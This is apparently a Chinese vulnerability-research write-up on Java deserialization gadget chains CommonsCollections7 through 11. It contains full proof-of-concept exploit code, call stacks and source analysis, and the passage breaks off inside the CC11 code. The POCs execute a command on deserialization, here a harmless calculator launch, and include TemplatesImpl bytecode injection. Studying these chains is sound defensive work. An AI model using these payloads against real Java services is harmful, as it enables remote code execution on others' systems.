import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws Exception {
Transformer transformerChain = new ChainedTransformer(new Transformer[] {});
Transformer[] transformers =
new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", null}),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, null}),
new InvokerTransformer(
"exec", new Class[] {String.class}, new Object[] {"open -a Calculator"})
};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("aa", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("bB", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field field = transformerChain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain, transformers);

lazyMap2.remove("aa");

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC7"));
outputStream.writeObject(hashtable);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC7"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
equals:472, AbstractMap (java.util)
equals:129, AbstractMapDecorator (org.apache.commons.collections.map)
reconstitutionPut:1221, Hashtable (java.util)
readObject:1195, Hashtable (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:57, CC7

分析

Hashtable#readObject调用了Hashtable#reconstitutionPut

1
2
3
4
5
6
7
8
9
10
11
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// ...
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}

Hashtable#reconstitutionPut继续触发AbstractMap#equals

1
2
3
4
5
6
7
8
9
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
// ...
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// ...
}

AbstractMap#equals再转到m.get,那么使得传入的key是构造好的transformerChain即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public boolean equals(Object o) {
// ...
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
}
// ...
}

确定输出后,研究一下如何构造输入,Hashtable#writeObject是直接将table变量中的key遍历后写入,那么思路就是获取table并修改值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void writeObject(java.io.ObjectOutputStream s) throws IOException {
Entry<Object, Object> entryStack = null;
synchronized (this) {
// ...
for (int index = 0; index < table.length; index++) {
Entry<?,?> entry = table[index];
while (entry != null) {
entryStack =
new Entry<>(0, entry.key, entry.value, entryStack);
entry = entry.next;
}
}
}
// Write out the key/value objects from the stacked entries
while (entryStack != null) {
s.writeObject(entryStack.key);
s.writeObject(entryStack.value);
entryStack = entryStack.next;
}
}

和其他链的不同之处做个笔记。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field field = transformerChain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain, transformers);

lazyMap2.remove("yy");

hashtable#put执行了两次,因为反序列化时,一开始table是为空,所以不会进入for循环触发Hashtable#equals,而是直接进到下面的赋值。

因此第二次执行hashtable#put时,table有内容了,于是触发Hashtable#equals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException
{
// ...
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

而此处的yyzZ,是因为前面的这处e.hash == hash的哈希计算,

1
2
3
4
5
6
7
8
9
10
public static int hashCode(char a[]) {
if (a == null)
return 0;

int result = 1;
for (char element : a)
result = 31 * result + element;

return result;
}

利用哈希碰撞构造两个不相等但哈希相等的字符串即可,若字符串相等,则会被认为是同一个值,导致hashtable#put执行时只遍历一次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class HashCrack {
public static void main(String[] args) {
String secret = "aa";
int hash = secret.hashCode();
String dic = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM";
for (char i : dic.toCharArray()) {
for (char j : dic.toCharArray()) {
String tmp = "" + i + j + secret.substring(2);
if (tmp.hashCode() == hash) {
System.out.println(tmp);
}
}
}
}
}

而最后移除lazyMap2中的yy,是因为在构造POC中第二次执行hashtable#put时,触发了AbstractMap#equals

AbstractMap#equalsentrySet().iterator()返回了所有的键值对,而第一次执行插入了yy,故在循环中取出yy这个键值对,然后带进了LazyMap#get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public boolean equals(Object o) {
// ...
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
}
// ...
}

跟到LazyMap#get,发现执行了this.factory.transform(key),但一开始的transformerChain并未构造反序列化链,所以直接返回了原值,然后执行了put,将yy置入了lazyMap2中。

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

而若不移除,则最后反序列化的时候,会导致AbstractMap#equals中对大小的教员返回false

1
2
3
4
5
6
7
public boolean equals(Object o) {
// ...
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
// ...
}

CommonsCollections8

影响版本

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class CC8 {
public static void main(String[] args) throws Exception {
// 字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

// CC2 _tfactory成员变量会在反序列化调用构造方法时自动创建赋值
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][] {classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
TreeBag tree = new TreeBag(new TransformingComparator(transformer));
tree.add(templates);

setFieldValue(transformer, "iMethodName", "newTransformer");

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC8"));
outputStream.writeObject(tree);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC8"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value)
throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
exec:347, Runtime (java.lang)
<clinit>:-1, EvilCat181262220991834
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:129, InvokerTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
compare:1291, TreeMap (java.util)
put:538, TreeMap (java.util)
doReadObject:524, AbstractMapBag (org.apache.commons.collections4.bag)
readObject:129, TreeBag (org.apache.commons.collections4.bag)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:48, CC8

分析

TreeBag#readObject转到TreeBag#doReadObject

1
2
3
4
5
6
private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
@SuppressWarnings("unchecked") // This will fail at runtime if the stream is incorrect
final Comparator<? super E> comp = (Comparator<? super E>) in.readObject();
super.doReadObject(new TreeMap<E, MutableInteger>(comp), in);
}

TreeBag#doReadObject调用了map.put

1
2
3
4
5
6
7
8
9
10
11
12
protected void doReadObject(final Map<E, MutableInteger> map, final ObjectInputStream in)
throws IOException, ClassNotFoundException {
this.map = map;
final int entrySize = in.readInt();
for (int i = 0; i < entrySize; i++) {
@SuppressWarnings("unchecked") // This will fail at runtime if the stream is incorrect
final E obj = (E) in.readObject();
final int count = in.readInt();
map.put(obj, new MutableInteger(count));
size += count;
}
}

TreeMap#put调用了TreeMap#compare

1
2
3
4
5
6
7
8
9
10
11
12
public V put(K key, V value) {
Entry<K,V> t = root;
if (t == null) {
compare(key, key); // type (and possibly null) check

root = new Entry<>(key, value, null);
size = 1;
modCount++;
return null;
}
// ...
}

TreeMap#compare再转TransformingComparator#compare

1
2
3
4
final int compare(Object k1, Object k2) {
return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2)
: comparator.compare((K)k1, (K)k2);
}

TransformingComparator#compare继续转InvokerTransformer#transform

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

最后在InvokerTransformer#transform中触发TemplatesImpl#newTransformer,反射执行恶意字节码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public O transform(final Object input) {
if (input == null) {
return null;
}
try {
final Class<?> cls = input.getClass();
final Method method = cls.getMethod(iMethodName, iParamTypes);
return (O) method.invoke(input, iArgs);
} catch (final NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' does not exist");
} catch (final IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' cannot be accessed");
} catch (final InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' threw an exception", ex);
}
}

一开始设置InvokerTransformermethodNametoString,后面修改为newTransformer是为了防止tree.add(templates)提前在本地执行恶意字节码,下附调用栈。

1
2
3
4
5
6
7
8
9
invoke:497, Method (java.lang.reflect)
transform:129, InvokerTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
compare:1291, TreeMap (java.util)
put:538, TreeMap (java.util)
add:257, AbstractMapBag (org.apache.commons.collections4.bag)
add:241, AbstractMapBag (org.apache.commons.collections4.bag)
add:90, TreeBag (org.apache.commons.collections4.bag)
main:38, CC8

CommonsCollections9

CC8+CC5

影响版本

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC9 {
public static void main(String[] args) throws Exception {
// 字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

// CC2 _tfactory成员变量会在反序列化调用构造方法时自动创建赋值
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][] {classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
BadAttributeValueExpException exception = new BadAttributeValueExpException(1);

setFieldValue(exception, "val", tiedMapEntry);
setFieldValue(transformer, "iMethodName", "newTransformer");

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC9"));
outputStream.writeObject(exception);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC9"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value)
throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
exec:347, Runtime (java.lang)
<clinit>:-1, EvilCat88341941093958
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:57, CC9

分析

TreeBag换成了BadAttributeValueExpException+LazyMap来触发,也没啥好说的,简单过一遍。

BadAttributeValueExpException#readObject调用了valObj.toString(),此时valObjTiedMapEntry,因此跳到TiedMapEntry#toString

1
2
3
public String toString() {
return getKey() + "=" + getValue();
}

然后TiedMapEntry#toStringTiedMapEntry#getValue,此时mapLazyMap

1
2
3
public Object getValue() {
return map.get(key);
}

因此触发LazyMap#get,而这时factoryInvokerTransformerkeyTemplatesImpl

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

InvokerTransformer#transform反射调用,执行TemplatesImpl#newTransformer,反射执行恶意字节码。

1
2
3
4
5
6
7
public Object transform(Object input) {
// ...
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
// ...
}

CommonsCollections10

影响版本

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC10 {
public static void main(String[] args) throws Exception {
// 字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

// CC2 _tfactory成员变量会在反序列化调用构造方法时自动创建赋值
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][] {classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

InstantiateFactory instantiateFactory =
new InstantiateFactory(
TrAXFilter.class, new Class[] {Templates.class}, new Object[] {templates});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);

ConstantTransformer constantTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);
Map expMap = new HashMap();
expMap.put(tiedMapEntry, 2);
setFieldValue(lazyMap, "factory", factoryTransformer);
lazyMap.remove(1);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC10"));
outputStream.writeObject(expMap);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC10"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value)
throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
exec:347, Runtime (java.lang)
<clinit>:-1, EvilCat248160042878084
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
create:128, InstantiateFactory (org.apache.commons.collections.functors)
transform:72, FactoryTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:62, CC10

分析

HashMap#readObject触发TiedMapEntry#hashCode

1
2
3
4
5
6
7
8
9
10
11
12
private void readObject(java.io.ObjectInputStream s) 
throws IOException, ClassNotFoundException {
// ...
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

TiedMapEntry#hashCode触发TiedMapEntry#getValue

1
2
3
4
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

然后轻车熟路,TiedMapEntry#getValueLazyMap#get

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

LazyMap#getFactoryTransformer#transform

1
2
3
public Object transform(Object input) {
return iFactory.create();
}

FactoryTransformer#transformInstantiateFactory#createiConstructorTrAXFilter

1
2
3
4
5
6
7
public Object create() {
// ...
try {
return iConstructor.newInstance(iArgs);
}
// ...
}

InstantiateFactory#create触发TrAXFilter的构造方法,templates为恶意字节码,执行newTransformer触发。

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

而最后需要remove操作,是LazyMap#getmap.containsKey(key) == false成立。

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

CommonsCollections11

CC2+CC6

影响版本

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC11 {
public static void main(String[] args) throws Exception {
// 字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

// CC2 _tfactory成员变量会在反序列化调用构造方法时自动创建赋值
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][] {classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

InvokerTransformer transformer = new InvokerTransformer(null, null, null);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashSet hashSet = new HashSet(1);
hashSet.add(2);

Field hashSetField = getField(HashSet.class, "map");
HashMap hashSetMap = (HashMap) hashSetField.get(hashSet);

